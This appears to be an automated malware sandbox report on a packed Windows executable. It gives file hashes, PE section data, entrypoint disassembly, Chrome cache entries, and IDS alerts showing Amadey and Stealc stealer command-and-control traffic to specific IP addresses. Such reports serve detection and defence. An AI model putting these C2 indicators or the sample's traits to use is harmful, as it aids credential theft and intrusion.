SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 580

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 581

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132981
Entropy (8bit):	5.435317840946397
Encrypted:	false
SSDEEP:	3072:fDkXyPqO7UX1Hme9kZbs4Voc5/SnXqwQ2i6o:fUyWFHrp4Voc5/SnawQ8o
MD5:	225B4D7E827DA73236E768BD8FE2EE36
SHA1:	AFE6C75C3F863464F9BAE66F6E74DEA4A330DFB7
SHA-256:	E6C20AAA0E32AEDDB90C857254F97C95617E3AC5AB0B5AD2280B3D73C44D7349
SHA-512:	F744A210257F2FDEE934533E932AB676F7D06E68D0331468899D9D3922C5637F614A0EE246BC2F7742F1A362A8943808F021EB8A33C901D9432A57879527A363
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 582

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 583

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948416123999738
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'825'280 bytes
MD5:	c39eb549a7dc6f9f6eeababcaea602dc
SHA1:	33c34ab34eb843e347694db102e68ae0b59d9c29
SHA256:	ebd45bb1a1f3c24ca2c7c4d9c30efe71eea9b8246a750bd5722043703013af99
SHA512:	8702781d879c22ef45362e0e539015670c3365724b519881ee6a7e10b241540080c196ddd52003b8395c338dbf8448485703b076e43c17e8466e41f41dc40ee4
SSDEEP:	49152:6EAbSm7HDq7+ygwH+xvpQ2PgJ2RwjWQOViK:6Ea7HDq6Ekv9PggRwjWQO3
TLSH:	478533DA9C688493C7DD0D729829B9618DB0FCD4CCCAB7331ADF15798B6AD80ED05326
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa1000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F7BB4E379DAh
popcnt ebx, dword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], cl
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
mov cl, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	a349f26d7ff4815c00bf894dfb84a59b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	91f3cb57eeb8322e7a485c1e62661021	False	0.79296875	data	6.068808263660008	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2b0000	0x200	30078f1d2174ecefb41b6501d2353531	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ldvhpekm	0x4fc000	0x1a4000	0x1a3c00	2298e754c9a47ab6bd97e543e1f97686	False	0.9950462282236451	data	7.955852515970652	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pcoxsocv	0x6a0000	0x1000	0x400	96627b0f0bf07753da79a3b77c9e1544	False	0.77734375	data	6.1077817757283945	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a1000	0x3000	0x2200	f80a57de5c068a4fb0cd77bd16fa3e97	False	0.07433363970588236	DOS executable (COM)	0.8180620269429187	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69f990	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-23T02:55:00.024014+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50140	TCP
2024-11-23T02:55:11.593708+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-23T02:55:12.043119+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-23T02:55:12.366484+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49714	TCP
2024-11-23T02:55:12.695320+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-23T02:55:13.020611+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49714	TCP
2024-11-23T02:55:14.614050+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-23T02:55:15.378219+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49714	185.215.113.206	80	TCP
2024-11-23T02:55:37.632878+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49814	185.215.113.206	80	TCP
2024-11-23T02:55:39.668179+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49814	185.215.113.206	80	TCP
2024-11-23T02:55:40.978506+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49814	185.215.113.206	80	TCP
2024-11-23T02:55:42.092535+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49814	185.215.113.206	80	TCP
2024-11-23T02:55:45.583073+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49814	185.215.113.206	80	TCP
2024-11-23T02:55:46.750256+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49814	185.215.113.206	80	TCP
2024-11-23T02:55:52.391831+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49936	185.215.113.16	80	TCP
2024-11-23T02:57:07.213864+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50134	185.215.113.43	80	TCP
2024-11-23T02:57:11.802420+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50146	31.41.244.11	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 02:55:00.024013996 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:00.024061918 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:00.024080038 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:00.024092913 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:00.024172068 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:00.564878941 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:00.564903021 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:00.564920902 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:00.564976931 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:00.565002918 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:00.565018892 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:00.565036058 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:00.565049887 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:00.565082073 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:00.573338032 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:00.573363066 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:00.573641062 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:00.581579924 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:00.581645012 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:00.581706047 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:00.604470968 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:00.604566097 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:00.724610090 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:00.724657059 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:00.724796057 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:00.724809885 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:00.803920031 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:01.323198080 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:01.323272943 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:01.323371887 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:01.327338934 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:01.327445984 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:01.327510118 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:01.335750103 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:01.335835934 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:01.335887909 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:01.344295025 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:01.344321966 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:01.344417095 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:01.352824926 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:01.352880001 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:01.352957010 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:01.424806118 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:01.424907923 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:01.425287008 CET	49708	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:01.425333977 CET	443	49708	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:01.425407887 CET	49708	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:01.426357031 CET	49708	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:01.426367998 CET	443	49708	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:01.544444084 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:01.544462919 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:01.544488907 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:01.544502974 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:01.544514894 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:01.660315037 CET	443	49707	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:01.660435915 CET	49707	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:01.665205002 CET	49707	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:01.665220022 CET	443	49707	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:01.665582895 CET	443	49707	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:01.668371916 CET	49707	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:01.668533087 CET	49707	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:01.668540001 CET	443	49707	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:01.668674946 CET	49707	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:01.711369038 CET	443	49707	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:02.012692928 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:02.012726068 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:02.012952089 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:02.015067101 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:02.015202999 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:02.015434980 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:02.023587942 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:02.023638964 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:02.023715019 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:02.031929016 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:02.032016993 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:02.032073975 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:02.040322065 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:02.040443897 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:02.040496111 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:02.048904896 CET	443	49706	40.126.53.17	192.168.2.6
Nov 23, 2024 02:55:02.098354101 CET	49706	443	192.168.2.6	40.126.53.17
Nov 23, 2024 02:55:02.209944010 CET	443	49707	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:02.210145950 CET	443	49707	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:02.210259914 CET	49707	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:02.210495949 CET	49707	443	192.168.2.6	20.198.118.190
Nov 23, 2024 02:55:02.210516930 CET	443	49707	20.198.118.190	192.168.2.6
Nov 23, 2024 02:55:02.574565887 CET	49709	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:02.574613094 CET	443	49709	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:02.574706078 CET	49709	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:02.576359034 CET	49709	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:02.576371908 CET	443	49709	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:02.617572069 CET	49710	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:02.617614031 CET	443	49710	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:02.617681026 CET	49710	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:02.618140936 CET	49710	443	192.168.2.6	20.199.58.43
Nov 23, 2024 02:55:02.618158102 CET	443	49710	20.199.58.43	192.168.2.6
Nov 23, 2024 02:55:03.329711914 CET	443	49708	40.126.53.17	192.168.2.6
